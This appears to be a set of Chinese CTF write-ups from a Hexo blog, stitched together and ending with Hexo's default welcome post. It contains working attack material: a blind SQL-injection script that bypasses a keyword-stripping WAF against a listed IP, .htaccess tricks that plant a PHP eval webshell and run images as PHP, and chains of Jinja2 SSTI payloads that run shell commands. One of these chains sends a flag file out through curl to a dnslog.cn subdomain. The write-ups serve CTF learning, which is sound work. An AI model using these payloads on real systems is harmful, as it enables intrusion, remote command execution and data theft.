if (contain($s, $v1)){
$s = lvlarrep($s, $v1);
}
return $s;
}

function waf($str){
$ban_str = explode(‘,’,’select,ascii,sub,con,alter table,delete ,drop ,update ,insert into,load_file,/,/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20’);
foreach($ban_str as $v1){
if (contain($str, $v1)){
$s = lvlarrep($str, $v1);
$str = $s;
}
}
$str = str_replace(‘\’’, ‘'’, $str); // 万恶的单引号,必须转义
return $str;
}

if (isset($_POST[‘login’])){
$db_host = ‘127.0.0.1’;
$db_user = ‘root’;
$db_pass = ‘toor’;
$db_name = ‘ctf’;

$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if (!$conn) {
die(‘数据库连接失败!’ . mysqli_connect_error());
}

$username = waf($_POST[‘username’]);
$password = waf($_POST[‘password’]);
$sql = “SELECT * FROM user WHERE username = ‘$username’ AND password = ‘$password’;”;

$query_result = mysqli_query($conn, $sql);
if (mysqli_num_rows($query_result) > 0) {
die(‘登陆成功!’);
}else{
die(‘哦欧!’);
}

}
?>

源码的主要信息就是通过将 ‘ 进行了过滤,以及将关键词替空,所以关键词可以通过复写的方式来绕过

对于单引号闭合的问题可以通过 \ 来进行转义,在与后面的 ‘ 来进行闭合

username =’$username’ AND password = ‘$password’;”;

上传username=1\&password=or 2>1#&login=1 放到源码中就可以实现这样的效果

让$username前面的单引号和$password前面的单引号进行闭合,再注释后面的单引号来实现注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time

url = "http://59.62.61.30:48708/"
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l + r) >> 1
while(l<r):
payload={
"username":"1\\",
#"password":'or 0^((selconect asconcii(suconbstring(group_counionncat(table_name),{0},1)) from information_schema.tables where table_schema=database())>{1})#'.format(i,mid),
# "password": 'or 0^((selconect asconcii(suconbstring(group_counionncat(column_name),{0},1)) from information_schema.columns where table_name="user")>{1})#'.format(i, mid),
"password": 'or 0^((selconect asconcii(suconbstring(group_counionncat(password),{0},1)) from user)>{1})#'.format(i, mid),
"login":"1"
}
html = requests.post(url,data=payload)
#print(payload)
if '登陆成功' in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)=="!"):
result = result + chr(mid)
break
result = result + chr(mid)
print(result)

最后通过二分法来获取flag

相关的文章为:https://blog.csdn.net/solitudi/article/details/116666720

.htaccess配置文件的基本信息

首先先了解一下有关.htaccess文件是什么,是一个配置文件,用于运行Apache网络服务器软件的网络服务器上,当.htaccess文件被放置在一个 “通过Apache Web服务器加载 “的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。 简单来说就是用来修改配置的

然后补充一点就是在.htaccess配置文件中单行注释符为 #

如果想要在服务器上可以运行.htaccess文件就需要先将主配置文件的AllowOverride 设置为 All

具体的运用

通过.htaccess文件来制定出错页面

1
2
3
4
ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php

在ctf比赛题目中就有应用:

1
2
3
<If "file('/flag') =~ '/flag{a/'">  //~ 类似为正则匹对
ErrorDocument 404 "y4tacker"
</If>

如果在/flag中有flag{a 就返回y4tacker,从而来枚举出flag,比较少用

SetHandler和ForceType

常见的应用场景 文件上传,这里要严格按照缩进,可能会出现错误:

1
2
3
4
5
6
7
8
9
10
<FilesMatch "aaa.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//指定将1.jpg通过PHP运行
//或者直接全局都直接使用PHP解析
SetHandler application/x-httpd-php

<Files ~ "\.jpg$"> //~先当于正则匹对 将所有匹对到.jpg结尾的都以PHP解析
ForceType application/x-httpd-php
</Files>

AddHandler

作用就是将什么以什么方式解析,作用域是针对整个服务器或特定目录的,而不是针对单个文件的,所以不需要通过Files来进行规定

1
AddHandler php-script .jpg  //将jpg文件当作PHP脚本

AddType

是Apache服务器配置中的一个重要指令,它用于将特定的文件扩展名映射到指定的MIME类型

1
AddType application/x-httpd-php .html

这条指令告诉Apache服务器,当遇到.html扩展名的文件时,应该将它们视为application/x-httpd-php类型的文件,即PHP脚本文件,并由PHP解析器进行处理

php_value

当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以

php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag

实际的应用中就有:

1
2
3
4
5
6
7
8
9
php_value auto_prepend_file 1.txt //在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 2.txt //在主文件解析后自动解析1.txt的内容
//最好是这样,应用#号为注释符,但是PHP可以正常解析来上传一句话木马
php_value auto_prepend_file .htaccess #<?php @eval($_POST['a']);?>

//关于过滤file: 这样也是可以执行命令的
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

还有一种用法,绕过preg_match匹对,将最大的次数改为0即可,就可以用最大回溯(pcre.backtrack_limit)/递归限制使php正则失效:

1
php_value pcre.backtrack_limit 1  //默认为100000

具体的例题

[羊城杯 2020]easyphp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
$files = scandir('./');
foreach($files as $file) { //遍历目录,将不是index.php的文件都删除
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) { //通过get来提交文件名和内容
highlight_file(__FILE__);
die();
}
$content = $_GET['content']; //在文件内容里面过滤关键字
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename']; //
if(preg_match("/[^a-z\.]/", $filename) == 1) { //检查文件名是否都由字母和点组成
echo "Hacker";
die();
}
$files = scandir('./'); //再删除一次
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world"); //在后面拼接一段字符串
?>

看逻辑应该是在删除后再创建的文件,但是上传一个普通的php文件,发现上传什么都没有用,无论怎么上传,页面都只是显示Hello, world

这里就可以通过上传.htaccess来修改配置

php_value auto_prepend_file .htaccess

<?php system(‘cat /f*’);?>

但是需要有些修改,还有要将后面的\nHello, world继续拼接否则回报错

这里过滤了file 可以通过变为

php_value auto_prepend_fil\
e .htaccess

<?php system(‘cat /f*’);?>\

最后再通过url编码上传即可

最后payload为:

1
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/f*')%3B%3F%3E%5C

CTFshow-web361~371

web361

知识点:ssti

基本的常用语句有

1
2
3
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('cat flag').read()}}

通过内置的函数来获取shell

注入点为GET提交的name参数,及payload为:

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /*').read()}}

web362

知识点:ssti

这个题也可以通过第一题的方法来获取flag

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /*').read()}}

web363

知识点:引号过滤以及POST提交过滤

过滤引号可以通过request请求来进行绕过

常见的几种形式和用法:

1
2
3
4
5
6
7
{{request.args.ben}} #可以用来获取get请求传参,参数为ben
{{request.form.ben}} #可以来获取poet请求传参ben(Content-Type:application/x-www-from-urlencoded或multipart/from-data)
{{request.cookie.ben}} #可以来获取cookie中关键词为ben的参数
{{request.values.x1}} #获取所有参数
{{request.headers}} #获得请求头请求参数
{{request.data}} #post传入参数(Content-Type:a/b)
{{request.json}} #获得post传入json参数(Content-Type:application/json)

当然我个人认为request.values.x1最好用,可以获取全局参数

将过滤的部分直接通过替换即可

1
{{config.__class__.__init__.__globals__[request.args.ben].popen(request.args.ben1).read()}}&ben=os&ben1=cat /*

web364

知识点:引号过滤,args过滤,post提交过滤

这个题可能是想通过cookie来实现,但是麻烦,还是通过request.values.x1好点,因为简单

payload为:

1
?name={{url_for.__globals__.os.popen(request.values.q).read()}}&q=cat /*

web365

知识点:中括号过滤,引号过滤,args过滤,post提交过滤

绕过[]的方法,可以通过getitem()魔术方法来实现,用法也简单,可以直接平替

例如:

subclasses()[117] —> subclasses().getitem(117)

尽量选用简单的语句,就是少中括号的来实现

1
2
{{config.__class__.__init__.__globals__.__getitem__(request.values.q).popen(request.values.a).read()}}&a=cat /*&q=os
{{url_for.__globals__.os.popen(request.values.q).read()}}&q=cat /*

web366

知识点:下划线绕过,中括号过滤,引号过滤,args过滤,post提交过滤

下划线绕过可以通过管道符和attr和request请求来进行绕过

如:

lipsum.globals—>lipsum|attr(request.values.globals)

所以就可以构造payload为:

1
{{(lipsum|attr(request.values.q)).os.popen(request.values.q2).read()}}&q=__globals__&q2=cat /*

web367

知识点:os关键词过滤,下划线绕过,中括号过滤,引号过滤,args过滤,post提交过滤

这里有些不同

1
2
3
{{lipsum.__globals.os}}
{{lipsum|attr(request.values.q)|attr(request.values.o)}}&q=__globals__&o=os //这个不会执行
{{(lipsum|attr(request.values.q)).get(request.values.o)}}&q=__globals__&o=os //这个会执行

所以需要留意一下

所以payload为:(二选一即可)

1
2
{{(lipsum|attr(request.values.q)).get(request.values.o).popen(request.values.q2).read()}}&q=__globals__&q2=cat /*&o=os
{{(config|attr(request.values.class)|attr(request.values.init)|attr(request.values.globals)|attr(request.values.getitem)(request.values.o)).popen(request.values.rce).read()}}&class=__class__&init=__init__&globals=__globals__&getitem=__getitem__&o=os&rce=cat /*

web368

知识点:双括号过滤,os关键词过滤,下划线绕过,中括号过滤,引号过滤,args过滤,post提交过滤

绕过双括号,可以通过{%print()%}即可

payload为:

1
{%print (lipsum|attr(request.values.q)).get(request.values.o).popen(request.values.q2).read()%}&q=__globals__&q2=cat /*&o=os

web369

知识点:request过滤,双括号过滤,os关键词过滤,下划线绕过,中括号过滤,引号过滤,args过滤,post提交过滤

无法通过提交参数来进行绕过,需要通过join来进行拼接字符

获取字符的方法,通过config|string|list 和 lipsum|string|list来获得

具体的构造的payload: (注意将注释的删除)

1
2
3
4
5
6
7
8
9
10
11
12
13
{%set e=(config|string|list).pop(279)%} //  /
//{%set a=(config|string|list).pop(191)%} // '
{%set c=(lipsum|string|list).pop(18)%} // _
{%set kg=(lipsum|string|list).pop(9)%} // 空格
//{% set qwe=dict(l=0,s=1)|join%} //ls
{%set globals=(c,c,dict(globals=1)|join,c,c)|join %} //__globals__
{%set s=dict(o=0,s=1)|join%} //os
{%set geti=(c,c,dict(getitem=1)|join,c,c)|join %} //__getiyem__
//{% set popen=dict(popen=1)|join%} //popen
//{% set read=dict(read=1)|join%} //read
{% set flag=(((dict(tac=1)|join,kg)|join,e)|join,dict(flag=1)|join)|join %}
//{%print lipsum|attr(globals)|attr(geti)(s)|attr(popen)(flag)|attr(read)() %}
{%print (lipsum|attr(globals)|attr(geti)(s)).popen(flag).read() %}

web370

知识点:数字过滤,request过滤,双括号过滤,os关键词过滤,下划线绕过,中括号过滤,引号过滤,args过滤,post提交过滤

获取数字可以通过count来实现,如nine=dict(aaaaaaaaa=a)|join|count

再将数字替代即可

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{% set ste=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set ten=ste*nine %}
{% set r=dict(aa=a)|join|count*nine%}
{%set e=(config|string|list).pop(ten)%}
{%set c=(lipsum|string|list).pop(r)%}
{%set kg=(lipsum|string|list).pop(nine)%}
{% set qwe=dict(l=a,s=b)|join%}
{%set globals=(c,c,dict(globals=a)|join,c,c)|join %}
{%set s=dict(o=a,s=b)|join%}
{%set geti=(c,c,dict(getitem=a)|join,c,c)|join %}
{% set popen=dict(popen=a)|join%}
{% set read=dict(read=a)|join%}
{% set flag=(((dict(tac=a)|join,kg)|join,e)|join,dict(flag=a)|join)|join %}
{%print lipsum|attr(globals)|attr(geti)(s)|attr(popen)(flag)|attr(read)() %}

371

知识点:过滤print,数字过滤,request过滤,双括号过滤,os关键词过滤,下划线绕过,中括号过滤,引号过滤,args过滤,post提交过滤

绕过print需要通过dnslog带出

URL

http://www.dnslog.cn/

在该网站来申请免费的dnslog

再通过 执行curl cat /flag.7ytmqy.dnslog.cn

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set ba=dict(aaaaaaaa=a)|join|count%}
{% set ste=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set n=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set aaa=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set ten=ste*nine %}
{% set r=dict(aa=a)|join|count*nine%}
{%set q=(config|string|list).pop(aaa)%}
{%set e=(config|string|list).pop(ten)%}
{%set c=(lipsum|string|list).pop(r)%}
{%set kg=(lipsum|string|list).pop(nine)%}
{%set globals=(c,c,dict(globals=a)|join,c,c)|join %}
{%set s=dict(o=a,s=b)|join%}
{%set geti=(c,c,dict(getitem=a)|join,c,c)|join %}
{% set popen=dict(popen=a)|join%}
{% set read=dict(read=a)|join%}
{%set p=((lipsum|attr(globals))|string|list).pop(n)%}
{%set fla=(dict(curl=a)|join,kg,p,dict(cat=a)|join,kg,e,dict(flag=a)|join,p,q,dict(cfiyve=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
{%if ((lipsum|attr(globals))|attr(geti)(s)).popen(fla)%}ataoyyds{%endif%}

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

0%